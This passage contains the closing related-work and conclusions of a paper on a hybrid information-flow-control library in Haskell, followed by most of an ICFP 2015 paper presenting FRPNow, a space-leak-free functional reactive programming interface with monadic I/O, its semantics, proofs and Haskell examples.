sides permissiveness, hybrid analyses are used to avoid leaks in
dynamic flow-sensitive IFC monitors, where variables change their
security levels at runtime based on what data they store (Russo
and Sabelfeld 2010). Moore and Chong utilizes static analysis to
avoid tracking variables which do not impose security violations,
thus improving performance on dynamic monitors (Moore and
Chong 2011). Jif, an IFC-aware compiler for Java programs, sup-
ports dynamic labels to classify data based on runtime observations
(Zheng and Myers 2007). Similar to our work, operations on labels
are modeled at the level of types. In the dynamic part, however,
they only allow for runtime checks based on the ⊑ relationship.
As in this work, there is some literature which connects dynamic
and static analysis at the programming-language level. Disney and
Flanagan describe an IFC type-system for a pure λ-calculus which
defers cast checks to runtime when they cannot be determined stati-
cally (Disney and Flanagan 2011). Luminous and Thiemann extend
that work to consider references (Fennell and Thiemann 2013).

Security Libraries Li and Zdancewic’s seminal work (Li and
Zdancewic 2006) shows how arrows (Hughes 2000) can provide
IFC without runtime checks as a library in Haskell. Tsai et al. (Tsai
et al. 2007) extend Li and Zdancewic’s work to support concur-
rency and data with multiple security labels. Rather than using ar-
rows, Russo et al. (Russo et al. 2008) shows that monads are capa-
ble of providing a library which statically enforces IFC. Devriese
and Piessens provide a monad transformer to extend imperative-
like APIs with support for IFC. Their technique is applied to dy-
namic, static, and hybrid IFC techniques. Devriese and Piessens’
work requires a deep embedding of the target language in order
to perform static analysis. In contrast, our approach leverages the
type-system features found in Haskell. Jaskelioff and Russo imple-
ments a library which dynamically enforces IFC using secure multi-
execution (SME) (Jaskelioff and Russo 2011)—a technique that
runs programs multiple times (once per security level) and varies
the semantics of inputs and outputs to protect confidentiality. The
series of work on LIO can be referred to as the state-of-the-art in
dynamic IFC in Haskell (Stefan et al. 2011b, 2012b,a; Buiras et al.
2013; Buiras and Russo 2013; Buiras et al. 2014).

Programming Languages Combining dynamic and static analy-
sis is not exclusive to IFC research. It has been extensively studied
by the programming languages community. We briefly mention
some highlights and their relation to this work. Flanagan (Flana-
gan 2006) develops the concept of hybrid type checking for type
systems capable of delaying subtyping checks until runtime. Siek
and Taha (Siek and Taha 2006) coined the term gradual typing,
which applies when programmers can control the combination
of static and dynamic approaches at the programming language
level—simultaneously, Hochstadt and Felleisen (Hochstadt and
Felleisen 2006) introduce similar ideas. Due to the defer primi-
tive, HLIO can be considered as a simple gradual typing system.

Wadler and Findler (Wadler and Findler 2009) presents the idea of
blame to explain failure of dynamic type casts (specially for lan-
guages with higher-order functions). HLIO is a system which only
produces positive blame. Recently, the idea of gradual typing has
gained popularity among several programming languages. Typed
Scheme (Hochstadt and Felleisen 2006) and Racket (Takikawa et al.
2012) allow Scheme programmers to decorate their code with type
annotations. Reticulated Python (Vitousek et al. 2014) implements
gradual typing, where a type checker is provided in combination
with a code-to-code transformation into Python 3. JavaScript has
been also a recent target of this kind of systems (Swamy et al. 2014;
Rastogi et al. 2015). Different from these approaches, HLIO does
not provide a fully-fledged gradual typing system. On the other
hand, it avoids any compiler modification by leveraging Haskell’s
powerful type system.

10. Conclusions and Future Work

We have presented HLIO, a new hybrid IFC enforcement in Haskell
that allows programmers to defer static constraints to runtime. This
feature is particularly useful, for instance, in production systems—
where it is often the case that security labels are not available (or
even known) at compile time. Different from other programming
languages, GHC’s powerful type-system and features allowed us
to build HLIO as a simple library, where no runtime or compiler
modifications were needed. On formal aspects, we showed that
the library satisfies termination-insensitive non-interference for an
arbitrary security lattice.

As part of developing HLIO, we have identified an indepen-
dently useful technique for deferring other forms of static con-
straints, including ordinary type equalities. In future work, we aim
to explore the use of these techniques in languages with similarly
expressive type systems, such as dependently typed languages. In
addition, we plan to further explore the design and application
space of these techniques, and explore their usability in embedded
domain-specific languages and code generators.
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Abstract
We present a new interface for practical Functional Reactive Pro-
gramming (FRP) that (1) is close in spirit to the original FRP ideas,
(2) does not have the original space-leak problems, without using
arrows or advanced types, and (3) provides a simple and expressive
way for performing I/O actions from FRP code. We also provide a
denotational semantics for this new interface, and a technique (using
Kripke logical relations) for reasoning about which FRP functions
may “forget their past”, i.e. which functions do not have an inher-
ent space-leak. Finally, we show how we have implemented this
interface as a Haskell library called FRPNow.

Categories and Subject Descriptors D.3.2 [Applicative (func-
tional) languages]

Keywords Functional Reactive Programming, Space-leak, Purely
functional I/O, Kripke logical relations

1. Introduction
Many computer programs are reactive: they continuously interact
with their environment. Examples of such programs are servers,
control software, and programs with a graphical user interface. Such
systems are often constructed by using callbacks and/or concurrency,
even when using functional programming languages. These methods
lead the programmer to rely on mutable state and/or introduce non-
determinism, making reactive programs hard to construct, compose
and understand.

Functional Reactive Programming (FRP) was introduced by
Elliott and Hudak [8] with their Haskell library Fran, an elegant
and powerful way of modeling reactive animations. Their interface
provides a purely functional way of describing events, values that are
known from some point in time, and behaviors, values that change
over time.

These abstractions also provide an attractive way of program-
ming reactive systems. However, Fran has two problems which limit
its applicability to practical programming: (a) Fran easily leads to
severe space leaks[9, 11, 15, 16], and (b) Fran does not provide a
general way to interact with the outside world from an FRP context.

In this paper, we slightly modify the Fran interface and its
denotational semantics so that these two problems are solved,
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without compromising the original spirit behind FRP, and present an
implementation of this interface in Haskell. Our contribution is thus
a principled and practical way of programming reactive systems
with FRP, without callbacks, nondeterminism or mutable state.

Let us delve a bit deeper into the two problems mentioned earlier.

Space Leaks The first problem, the space leak problem, can be
analyzed as follows. A program in FRP can lead to space leaks in
three ways:

1. The program using the FRP library can have a space leak.

2. The implementation of the FRP library can have a space leak.

3. The interface of the FRP library, i.e. the set of functions offered
by the library, can be inherently leaky.

Each of these implies the previous: if we have an interface which
is inherently leaky, then we cannot hope for an implementation
without a space leak, and if we have an implementation with a space
leak then any program using that implementation is likely to have a
space leak as well.

The Fran interface is inherently leaky, in that it prevents the
past to be forgotten. To see this, consider the following function
supported by Fran:

snapshot :: Behavior a → Event ()→ Event a

which samples the behavior when the event occurs, producing an
event with that value that occurs at the same time. For example, the
expression snapshot mousePos easter gives the mouse position
at Easter. Such an expression can occur inside other events, and
hence when evaluating this expression it may be Christmas. In that
case, we must have remembered the mouse position at Easter at least
until Christmas. Typically, this means that at least all the mouse
positions from Easter till Christmas are remembered, leading to a
severe space leak.

In some cases, a sufficiently smart runtime might have figured
out before or at Easter that the mouse position at Easter was needed
at Christmas, and that the other mouse positions do not have to be
remembered. However, in general events that occur in the future
may be unknown and their future evaluation may depend on past
values. The runtime cannot possibly predict at Easter, exactly what
should be remembered till Christmas.

In this paper, we slightly modify the Fran interface so that it is
guaranteed that implementations can forget all past values of all
behaviors. The key idea behind our solution is that we use behaviors
as a reader monad in time and modify the interface such this reader
monad can only be “run” at the present time or in the future, but not
in the past.

Our solution differs from other solutions to the space-leak
problems of FRP [9, 11, 15, 16], in that behaviors are still first-
class values (we don’t use arrows for example), the types used in
the interface are simple types (we stay within Haskell’98), and our

Permission to make digital or hard copies of all or part of this work for personal or
classroom use is granted without fee provided that copies are not made or distributed
for profit or commercial advantage and that copies bear this notice and the full citation
on the first page. Copyrights for components of this work owned by others than ACM
must be honored. Abstracting with credit is permitted. To copy otherwise, or republish,
to post on servers or to redistribute to lists, requires prior specific permission and/or a
fee. Request permissions from Permissions@acm.org.
Copyright is held by the owner/author(s). Publication rights licensed to ACM.

ICFP’15, August 31 – September 2, 2015, Vancouver, BC, Canada
ACM. 978-1-4503-3669-7/15/08...$15.00
http://dx.doi.org/10.1145/2784731.2784752

302



interface is very close in spirit to the Fran interface. However, our
solution does not statically prevent all space leaks; space leaks of
type 1 above are still possible. Of course, this holds in general for
libraries for general purpose languages (such as Haskell and ML).

The main challenge we faced was to design the new interface
so that it becomes possible to implement the library without space
leaks. To this end, we introduce a method of determining whether or
not an FRP function is inherently leaky, which uses an Kripke logical
relation called equality up to time-observation. Two values are equal
up to time-observation from time t, if they cannot be distinguished
anymore by observations at time t or later. We then show, using this
relation, that our interface indeed allows implementations to forget
the past. The implementation we discuss later on in the paper is
evidence that it is indeed possible to implement the interface.

I/O in FRP The second problem with Fran is that interaction with
the outside world is limited to a few built-in primitives: there is no
general way to interact with the outside world. Arrowized FRP does
allow general interaction with the outside world, by organizing
the FRP program as a function of type Behavior Input →
Behavior Output1, where Input is a type containing all input
values the program is interested in and Output is a type containing
all I/O requests the program can do. This function is then passed to a
wrapper program, which actually does the I/O, processing requests
and feeding input to this function.

This way of doing I/O is reminiscent of the stream based I/O
that was used in early versions and precursors to Haskell, before
monadic I/O was introduced. It has a number of problems (the first
two are taken from Peyton Jones [10] discussing stream based I/O):

• It is hard to extend: new input and output facilities can only
be added by changing the Input and Output types, and then
changing the wrapper program.
• There is no close connection between a request and its corre-

sponding response. For example, an FRP program may open
multiple files simultaneously. To associate the result of open-
ing a file to its the request, we have to resort to using unique
identifiers.
• All I/O must flow through the top-level function, meaning the

programmer must manually route each input to the place in the
program where it is needed, and route each output from the place
where the request is done.

Other FRP formulations partially remedy this situation[1, 21], but
none overcome all of the above issues. We present a solution that is
effectively the FRP counterpart of monadic I/O. We employ a monad,
called the Now monad, that allows us to (1) sample behaviors at
the current time, and (2) plan to execute Now computations in the
future and (3) start I/O actions with the function:

async :: IO a → Now (Event a)

which starts the IO action and immediately returns the event
associated with the completion of the I/O action. The key idea
is that all actions inside the Now monad are synchronous2, i.e. they
return immediately, conceptually taking zero time, making it easier
to reason about the sampling of behaviors in this monad. Since
starting an I/O action takes zero time, its effects do not occur now,
and hence async does not change the present, but “changes the
future”. Like the I/O monad, the Now monad is used to deal with
input as well as output, both via async. This approach does not have
the problems associated with stream-based IO, and is as flexible and
modular as regular monadic I/O.

1 In Arrowized FRP, this would be type SF Input Output .
2 Synchronous in the same sense as synchronous dataflow programming: the
input is synchronous with the output.

Implementation These two interface changes, namely (a) ensuring
that implementations can forget the past, and (b) adding I/O from an
FRP context, give a principled basis for practical FRP programming.
An implementation of this interface that itself has no space leak
and implements the I/O interface such that operations in the Now
monad appear to take zero time, is not trivial. Consider for example,
a straightforward implementation of behaviors, as used by Elliott [7],
as an initial value and initial change event:

data Behavior a = a ‘Step‘ Event (Behavior a)

Although elegant, this implementation of behaviors is problematic:
any reference to a behavior, for example mousePos , will refer to the
initial value of the behavior and the event when it first changes. This
event in turn holds a reference to the second value of the behavior
and the event that it changes the second time, and so on. In this
way, this definition prevents old values to be garbage collected. We
present an implementation of our interface in Haskell that (a) does
forget the past, and (b) gives the illusion that actions in the Now
monad are immediate.

Contributions We start with a background section, introducing
a modernized subset of the Fran interface. We then arrive at our
contributions:

• We present a simple modification to the subset of the Fran
interface of Section 2, which allows for implementations to
forget the past (Section 3).
• We present a simple method of distinguishing functions which

allow implementations to forget the past from functions which
do not, by introducing the notion of time-observational equality.
(Section 3).
• We introduce a simple, yet flexible, way to let pure FRP code

asynchronously interact with the outside world. (Section 4)
• We demonstrate that the restrictions of our interface do not rule

out useful programs by showing how the functionality provided
by other FRP interfaces can be also be achieved in our interface.
(Section 5)
• We present an implementation of our FRP interface in Haskell

that indeed forgets the past and that gives the illusion that actions
in the Now monad are immediate (Section 6).

In Section 7 we discuss related work and in Section 8 we discuss
and conclude.

The implementation in Haskell of the interface described in this
paper is available at:

https://github.com/atzeus/FRPNow/

We plan to shortly release a library based on the ideas in this paper,
under the name FRPNow.

2. Introducing FRP
In this section we introduce FRP by presenting a modernized subset
of the Fran[8] interface, inspired by Elliott’s modernized FRP
interface[7]. The denotational semantics of the modernized subset
of Fran are shown in Figure 1(a).

In this paper we use $ to indicate semantic equality. Hence,
these definitions do not give implementations, but denotations (i.e.
mathematical meaning). For clarity of notation, the denotations
in this paper are also given in Haskell syntax. The denotational
semantics assume that all values are total, we leave its strictness
properties as future work. In the remainder of this section, we discuss
the definitions in the denotational semantics in sequence.

The main concepts are behaviors (B ), i.e. values that change over
time, and events (E ), i.e. values that are known from some point
in time on. Examples of behaviors are the position of the mouse,
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type B a $ Time → a

type E a $ (Time+, a)

never :: E a
never $ (∞,⊥)

instance Monad B where
return x $ λt → x
m >>= f $ λt → f (m t) t

instance Monad E where
return x $ (−∞, x )
(ta, a)>>= f $ let (tb, x ) $ f a

in (max ta tb, x )

switch :: B a → E (B a)→ B a
switch b (t , s) $ λn → if n < t then b n else s n

(a) Functions taken from Fran.

whenJust :: B (Maybe a)→ B (E a)
whenJust b $ λt →

let w $ minSet {t ′ | t ′ > t ∧ isJust (b t ′)}
in if w ≡ ∞ then never

else (w , fromJust (b w))

(b) Forgetful function to observe changes.

Figure 1. Our FRP interface and its denotational semantics.

of type B Point , and an animation, of type B Picture. Examples
of events are the next mouse button that will be pressed, of type
E Button , and the final selection of a color from a color picker, of
type E Color .

A behavior is a value that changes over time, and hence its
denotation is a function from time to value. In Fran, Time is equal
to the real numbers (R), but we only assume that time is totally
ordered and that it has a least element (−∞). We do not require that
time is enumerable, and hence there is no notion of a next timestep
in our interface. Unlike the original FRP interface, the type Time is
not part of the interface, but only of the denotational model.

The denotation of an event is a pair of a point in time and a value.
To include events that will never occur, the point in time at which an
event can occur is Time+ = Time ∪ {∞}. This gives us a never
occurring event for each type. The use of ⊥ in never may seem to
contradict our assumption that all values are total, but the⊥ in never
can never be observed3.

Both behaviors and events are commutative monads4. A behav-
ior is semantically a reader monad in time, whereas an event is
semantically a writer monad in time, with the monoid instance
(max , −∞). Since any monad gives rise to an applicative func-
tor [14], both behaviors and events also support the applicative
functor interface. The functions on applicative functors used in
this paper and their definitions using a monad instance are shown
in Figure 2. As an example usage of this interface for behaviors,
the expression (isInside <$> mousePos <*> rect) gives a behav-
ior that indicates whether the mouse cursor is inside the (poten-
tially moving) rectangle at any point in time. As an example us-
age of the applicative functor interface for events, the expression

3 Equivalently, the denotation of events could be chosen to be
Maybe (Time, a) where Nothing indicates never , eliminating the need
for ⊥. We have opted not to do this since it obfuscates that E is a writer
monad.
4 The original FRP interface only supported what now can be considered an
applicative functor interface for behaviors.

pure x = return x
(<*>) :: Monad m ⇒ m (a → b)→ m a → m b
f <*> x = do fv ← f ; xv ← x ; return (fv xv)
(<$>) :: Monad m ⇒ (a → b)→ m a → m b
f <$> x = pure f <*> x
(<$) :: Monad m ⇒ a → m b → m a
x <$ y = const x <$> y

Figure 2. Applicative functor functions from monads.

(mixColor <$> colorSelection1 <*> colorSelection2 ) gives an
event carrying the composite of two colors, as soon as the user
has selected both colors. We will give examples utilizing the full the
monad interface for behaviors and events later.

To introduce a change over time, the switch function can be used,
which when given a behavior b and an event e containing another
behavior, returns a behavior that acts as b initially, and switches
to the behavior inside e as soon as it occurs. As an example, the
expression (animColor ‘switch‘ (pure <$> pickColor)) gives a
behavior that acts as animColor initially, which animates between
green and red, until the user has picked a color, after which it will
be that color.

In our interface, switch is the only way to introduce a change
to a behavior, and hence all behaviors only change discretely, i.e.
they are piecewise-constant functions, whereas in Fran behaviors
can change continuously. This does not make any difference for
programming with behaviors, as there is no way to distinguish,
through observation, a continuously changing behavior from a
discretely changing behavior.

Finally, to observe (eliminate) a change over time, the following
function can be used5:

whenJust† :: B (Maybe a)→ E ()→ E a

whenJust† b (t , ()) $
let w $ minSet {t ′ | t ′ > t ∧ isJust (b t ′)}
in if w ≡ ∞ then never

else (w , fromJust (b w))

The notation minSet x indicates the minimum element of the
set x , which is not valid Haskell, but is a valid denotation. The
function whenJust† is the only function that is problematic, it
can for example be used to define the snapshot function from the
introduction. In this paper, a superscript † indicates an inherently
leaky definition.

As an example usage of whenJust†, suppose localCoordinates
is a behavior of type B (Maybe Point) that gives Just the
local mouse coordinates inside a rectangle when the mouse is
inside that rectangle, and Nothing otherwise. The expression
whenJust localCoordinates e then gives the earliest time that
the mouse is inside the rectangle after or during event e, along
with the local mouse coordinates at that time. If the mouse is never
again inside the rectangle after the event e, then minSet gives the
minimum element of the empty set, which is ∞, and hence the
result will be a never occurring event.

The Fran interface has several other functions (namely time,
(.|.) and timeTransformation) which are not part of the core FRP
interface presented in this section. In section 5, we will discuss how
the unproblematic parts of the functionality that these functions
provide can also be provided by the (modified version of) this
interface.

5 This functionality provided by this function was provided by pred and
snapshot in Fran, which can be expressed in terms of whenJust and vice
versa. We show how this is done in a document accompanying the online
code.
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3. Forget the Past!
The FRP interface presented in the previous section, like the original
Fran interface, is inherently leaky. In this section, we first informally
present our solution to this problem, and afterwards introduce the
notion of time-observational equality, which gives a method to
formally distinguish functions which allow implementations to
forget the past from functions which do not. We then prove that
whenJust† does not allow implementations to forget the past and
that our new version, whenJust , does.

Semantically, there is no notion of “now”: the semantics simply
state how values relate to each other. Of course, when running an
FRP program there is a notion of “now”: some events have already
occurred and some have not, and a behavior consists of past, present
and future values. The interface from the previous section allows
access to past values of a behavior, leading to space leak problems.

More specifically, the only problematic function in the interface
is whenJust†. Consider the expression whenJust† b e: the event e
may lie in the past when evaluation of the expression occurs, which
makes it necessary to keep remember all old values of the behavior
b since e .

3.1 Solution
To fix this problem, we slightly change the function whenJust† to
its forgetful version in Figure 1(b). Instead of taking an argument
of the type E (), we produce a value in the behavior monad.
Semantically, this does not make much difference, a value of type
E () is the same as a point in time (ignoring the case when the event
never occurs) and hence the type of whenJust† can be thought of
as B (Maybe a)→ Time → E a , which is equivalent to the type
of whenJust , namely B (Maybe a)→ B (E a).

This change has an important effect which allows implementa-
tions to forget the past: the result of whenJust is in the behavior
monad. As we will see later when discussing our I/O interface, the
only way to observe a behavior from the outside world is to request
its value now. This makes it impossible to request past values of a
behavior, thus ensuring that implementations can forget the past.

Whereas with whenJust† the sample time is given as an event,
with whenJust the sample time is provided by the monadic context.
As an example, the following function gives the next time the input
behavior changes, at any point in time.

change :: Eq a ⇒ B a → B (E ())
change b = do cur ← b

when ((cur 6≡)<$> b)

when :: B Bool → B (E ())
when b = whenJust (boolToMaybe <$> b)

Where boolToMaybe converts True to Just () and False to
Nothing . Here we use a behavior as a monad where we can sample
other behaviors. We first sample b to obtain its current value, and
then use that value to sample when ((cur 6≡)<$> b).

While whenJust no longer allow us to sample past values of a
behavior, it does allow us to to sample in the future, as shown by the
non-leaky version of the snapshot function:

snapshot :: B a → E ()→ B (E a)
snapshot b e = let e ′ = (Just <$> b)<$ e

in whenJust (pure Nothing ‘switch‘ e ′)

The resulting behavior changes depending on whether the argument
event lies in the future or in the past. If the argument event lies in the
future (or present), then the value of resulting event is the value of
the behavior at the time of the argument event. If the argument event
lies in the past, then we will not sample the behavior in the past,
instead giving the present value of the behavior. The denotation of
snapshot shows this behavior more clearly :

snapshot b (t , ()) $ λn → let t ′ $ max t n in (t ′, b t ′)

3.2 Making Forgetfulness Precise
Our solution raises the question of which FRP functions allow im-
plementations to forget the past, and which functions are inherently
leaky. To answer this question, we define the notion of equality up to
time-observation, a coarser notion of equality than regular equality.
Informally speaking, two values are equal up to time-observation
from a time t, if they cannot be distinguished through observations
from time t onwards.

To simplify our presentation, we consider only the set of types
generated by the following grammar:

Θ ::= o | B Θ | E Θ | Θ→ Θ

Where o is some base type, for example Integer . Although this
does not include all possible Haskell types, we argue that results for
this set of types are transferable to all Haskell types. For instance,
algebraic data types are isomorphic to their encodings as functions
(for instance, for lists we can use the Church encoding).

When two values are equal up to time observation depends on
their types. Informally speaking, the cases are as follows:

• Two values of a base type are equal up to time observation from
any time if they are equal.
• Two behaviors are equal up to time observation from now if

their values at any point in the present or future are equal up
time-observation from that point.
• Two events are equal up to time observation from now on if one

of the following cases holds:

Both events have already occurred and their values are equal
up to time observation from now on.

Both events occur at the same point in the future, and their
values are are equal up to time observation from that point
in time.

Both events never occur.
• Two functions are equal up to time observation from time t if

they cannot be used to distinguish two values that are equal up
to time observation from any time > t.

This is formally stated as follows:

Definition 1. Equality up to time-observation, is a family of binary
relations #”=t

θ , where θ ∈ Θ and t ∈ Time, such that a #”=t
θ b if and

only if one of the following cases holds:

• θ = o ∧ a = b
• θ = B x ∧ ∀t′ > t. a t′ #”=t′

x b t′

• θ = E x ∧ a $ (ta, va) ∧ b $ (tb, vb)
∧ max ta t = max tb t ∧ (ta =∞∨ va #”=max ta t

x vb)

• θ = x→ y ∧ ∀p q (t′ > t). p #”=t′
x q → a p #”=t′

y b q

We write #”=t for equality up to time observation from time t between
two values of any type, defined as

⋃
θ∈Θ

#”=t
θ .

Equality up to time-observation is a binary Kripke logical
relation, which means that it is a binary relation parametrized over
a base type (o) and a pre-order (the total order Time in our case),
where the last of the above cases holds, and t 6 t′ → #”=t ⊆ #”=t′ .

If, for all t, #”=t is an equality relation (meaning reflexive,
symmetric and transitive) on the set of all values that can be created
by using an FRP interface, then it is safe for an implementation of
that interface to forget old values of a behavior. In particular, this
means that if e $ (t, s), then b ‘switch‘ e #”=t s, and hence there is
no way to distinguish b ‘switch‘e from s after time t, making it safe

305



type Now a
instance Monad Now
async :: IO a → Now (E a)
sample :: B a → Now a
planNow :: E (Now a)→ Now (E a)
runNow :: Now (E a)→ IO a

Figure 3. I/O interface.

to forget that it was ever equal to b ‘switch‘ e, only remembering
that it is equal to s from now on.

The symmetric and transitive requirements follow from the
definition, but the reflexivity requirement does not. Hence to show
that an FRP interface allows implementations to forget the past, it
suffices to show that for each function f in the interface, f #”=t f , for
all t. Which brings us to the following definition:

Definition 2. A function f is forgetful if and only if ∀t.f #”=t f .
When a function is not forgetful, we call it inherently leaky.

Lemma 1. whenJust† is inherently leaky.

Proof. By counterexample: Let es $ (1, pure Nothing),el $
(0, ()), er $ (2, ()) and b $ pure (Just ()) ‘switch‘ es . We
know that b #”=2 b and el #”=2 er, but whenJust† b el $ el
and whenJust† b er = never and hence whenJust† b el

#”6=2

whenJust† b er

Lemma 2. whenJust is forgetful.

Proof. To prove: ∀b1 b2 t.b1 #”=t b2 → whenJust b1 #”=twhenJust b2

By b1 #”=t b2 we know that: minSet {t ′ | t ′ > t ∧ isJust (b1 t ′)}
is equal to minSet {t ′ | t ′ > t ∧ isJust (b2 t ′)}. Let w > t
be the outcome of minSet . If w = ∞ then we are done by
never #”=t never , otherwise we know that fromJust (b1 w) #”=t

fromJust (b2 w) by b1 #”=t b2.

The other functions in our FRP interface are all forgetful . The
proofs are straightforward and are hence not presented here, but they
can be found in the online git repository accompanying this paper.

4. Putting the Act Back in Functional Reactive
Programming

The interface given in the previous sections allows the programmer
to express pure computations involving time, but provides no way to
interact with the outside world at all. In fact, using this interface we
can only create events at −∞ and∞, and hence it only allows us
to express constant behaviors. To do anything interesting we need
events from the outside world.

Our I/O interface, show in Figure 3, is centered around a
commutative monad called the Now monad, which allow us to
start I/O actions, sample behaviors and plan to execute Now
computations in the future. Starting an I/O action is done using
the async function, which immediately returns an event that will
occur when the I/O action is done, carrying the result of the I/O
action. Unlike running I/O actions in the IO monad, async does
not block until the I/O action is completed.

To schedule I/O actions in the future, we provide the planNow

function. This function takes an event carrying a Now computa-
tion, and makes sure that computation is executed as soon as the
event occurs. The function planNow also immediately returns an
event, carrying the result of the future Now computation. Like the
snapshot function, planNow does not run Now computations in the
past, instead running the Now computation immediately if the event
already occurred.

We can use this interface for both input and output. As an
example of input, suppose we have a function nextMousePos , of
type IO Point , which blocks until the mouse is moved, and then
returns its new coordinates. We can use this function to implement
a behavior which always gives the current mouse position:

getMousePos :: Now (B Point)
getMousePos = loop (0, 0) where

loop p = do e ← async nextMousePos
e ′ ← planNow (loop <$> e)
return (pure p ‘switch‘ e ′)

Here we first initialize the mouse position at point (0, 0) and
asynchronously start an nextMousePos action. As soon as the
mouse position moves, we start another nextMousePos action and
switch to the new mouse position.

As an example of output, suppose that we have a behavior giving
the picture that should be drawn on screen at any point in time, and a
function drawPict ::Picture → IO () that performs the side-effect
of actually drawing this picture to the screen. We can then keep the
screen up to date as follows:

drawAll :: B Picture → Now ()
drawAll b = loop where

loop = do p ← sample b
d ← async (drawPict p)
e ← sample (change b)
planNow (loop <$ (d >> e))
return ()

Here we first sample the current value of the picture behavior. We
then start the action of drawing it and obtain the event that the
drawing is done as d . The event that the picture is different than it
is now is obtained as e. We then plan to do the whole thing again,
when the picture has changed and we are done drawing (d >> e).

We can also use async to run an expensive pure computation
asynchronously. As an example consider a chess program: the next
move of the computer is an expensive computation and we do not
want to block the rest of the program while it is computed. We can
simply run this computation asynchronously by doing :

async (evaluate nextMove)

Which starts a separate thread for the computation and returns the
event that occurs when the computation is done.

We can use this interface to do anything one could do in the IO
monad. For example, we can dynamically open files or dynamically
create new widgets, we do not have to set up the connection to files
or widgets from outside the FRP context.

On the top-level, the evaluation of a Now monad is started using
the runNow function, which executes the initial Now computation
and the Now computations that it plans for the future, until the
event given by the initial Now computation occurs, after which
the corresponding value of the event will be returned. All Now
computation that were still planned are then canceled.

None of the actions in the Now monad conceptually take any
time to execute, which is essential for our programming model.
Hence it is guaranteed that:

do x ← sample b; y ← sample b; return (x , y)
= do x ← sample b; return (x , x )

Furthermore, since all functions in the Now monad are instanta-
neous, the events returned by async will always lie in the future.

It is however possible to create an event or behavior from one
runNow context and then to use that event or behavior in another
runNow context. In that case, the resulting behavior of the program
is undefined and our implementation throws an error. Another
possible approach is to rule out the mixing of contexts statically
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using techniques know from the ST monad [12]. This would add
an extra parameter to the types E , B and Now , and would have
changed the type of the runNow function to the following:

runNow :: (∀s. Now s (E s a))→ IO a

We have opted not to apply this technique, because the extra type
parameter pervades client code and can be somewhat inconvenient
for users[13].

5. Programming with FRPNow!
In the previous two sections, we first restricted the FRP interface by
making sure that the past can be forgotten, and then generalized the
interface by providing arbitrary interaction with the outside world.
In this section we aim to convince the reader that this new interface
does not rule out useful programs, by means of examples.

5.1 State over Time
Carrying state over time becomes a bit different with whenJust
from with whenJust†. As an example, in the FRP formulation with
whenJust†, we could define an inherently leaky function with the
following type:

countChanges† :: Eq a ⇒ B a → B Int

Which gives a behavior that indicates how often the input behavior
has changed since the start of the program. Since we can apply
functions like countChanges† to any behavior at any time, this
implies that any behavior would need to retain references to all
its past values. With our interface, we can create a function that
achieves the same effect, but is forgetful, with the following type:

countChanges :: Eq a ⇒ B a → B (B Int)

The result of this function is now B (B Int) instead of B Int ,
because the number of changes to the input behavior depends on
when the counting started. When countChanges b is sampled at
time t , it will return a behavior, of type B Int , that counts the
changes to the original behavior since t . This construction enables
us to carry state over time, while still being able to forget the past.

The implementation of countChanges is as follows:

countChanges b = loop 0 where
loop :: Int → B (B Int)
loop i = do e ← change b

e ′ ← snapshot (loop (i + 1)) e
return (pure i ‘switch‘ e ′)

We first obtain the current value of change b, which gives us the
event that b changes. As soon as this event occurs, we would like
to run the loop again. Since loop (i + 1) has type B (B Int), we
can snapshot this behavior when the event e occurs, to obtain the
result of the next iteration of the loop, of type E (B Int). We then
produce a behavior that is initially i , and switches to the behavior
given by the next iteration of the loop as soon the argument behavior
changes.

We can generalize the construction of countChanges to a left
fold over the values of a behavior (provided we can distinguish
different values by using an Eq instance):

foldB :: Eq a ⇒ (b → a → b)→ b → B a → B (B b)
foldB f i b = loop i where

loop :: b → B (B b)
loop i = do c ← b

let i ′ = f i c
e ← change b
e ′ ← snapshot (loop i ′) e
return (pure i ′ ‘switch‘ e ′)

The function countChanges can then be more concisely expressed:

countChanges = foldB (λx → x + 1) (−1)

Since this initial value of the input behavior does not constitute a
change, the initial value passed to foldB is -1.

5.2 Remembering the Past
While our interface ensures that implementations can forget all past
values of all behaviors, this does not mean that it is impossible to
remember the past. The difference is that with our interface, the past
must be remembered explicitly, whereas with whenJust† the past
is remembered implicitly.

For instance, we can define a function that gives the previous
value of a behavior. This is similar to, but not the same as, the
delay function known from synchronous dataflow programming.
The difference is that the delay function delays an input until the
next time step, whereas in our interface there is no notion of a next
timestep, and hence prev “delays” a behavior until it changes, which
can be any interval of time later, or never. Remembering the past
is a form of carrying state over time, and can hence be expressed
using foldB .

prev :: Eq a ⇒ a → B a → B (B a)
prev i b = (fst<$>)<$> foldB (λ( , p) c → (p, c)) (⊥, i) b

The function given to foldB takes as the first argument a tuple
containing the value before the previous value and the previous
value, as the second argument the current value, and gives a tuple
containing the previous and current value. The behavior that foldB
returns then always gives a tuple of the previous and current value,
of which we select the former.

As another example, consider the following function which gives
the last n values of an input behavior in reverse chronological order.

buffer :: Eq a ⇒ Int → B a → B (B [a ])
buffer n b = foldB (λl e → take n (e : l)) [ ] b

The argument function is immediately called with the current value
of the argument b, and hence the lists in the resulting behavior are
never empty (provided that n > 0).

5.3 Event Streams
Next to events and behaviors, another often useful abstraction is
event streams, such as the stream of mouse-click events or the stream
of incoming network messages. Naively, one might try to implement
such event streams as follows:

newtype Stream† a = S (E (a,Stream† a))

However, this implementation gives rise to space leaks: a reference
to an event stream will always point to the first element of the event
stream, preventing the past to be forgotten (i.e. garbage collected).

With our interface, we can create a value that represents the
present and future values in an event stream, forgetting the past
values. For this, we employ the following insight: an event stream
of type a is denotationally a value of type[7] [(Time+, a)], such
that the points in time of successive elements are strictly increasing6.
Such values can also be represented by the following type:

Time → (Time+, a)

such that, when given a time t, the function gives the time, te, of
the first event in the list with t < te, i.e. the time of the next event.
Using this insight, we define an event stream as follows:

6 Alternatively, we could choose to make the points in time of successive
elements non-decreasing instead of strictly increasing, which would allow
multiple events simultaneous events in the stream. In this subsection we
choose the points in time to be strictly increasing for simplicity of presenta-
tion.
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newtype Stream a = S {next :: B (E a)}
The idea here is that the behavior always points to the next event
in the event stream. As soon as the next event in the stream occurs,
the behavior switches to the first event in the stream that has not
occurred yet. If there is no next event in the stream, then the behavior
gives never . To ensure that all behaviors that are an argument to the
S constructor behave this way, we do not export the S constructor
from the event stream module.

We can construct event streams with the following function:

repeatIO :: IO a → Now (Stream a)
repeatIO m = S <$> loop where

loop = do h ← async m
t ← planNow (loop <$ h)
return (pure h ‘switch‘ t)

Which executes the given I/O action repeatedly, and gives the event
stream of the results. As an example, suppose have a blocking I/O
function that gives the next mouse click called nextClick . The event
stream of clicks is then given by clicks ← repeatIO nextClick .

We can sample a behavior each time an event in an event stream
occurs:

snapshots :: B a → Stream ()→ Stream a
snapshots b (S s) = S $ do e ← s

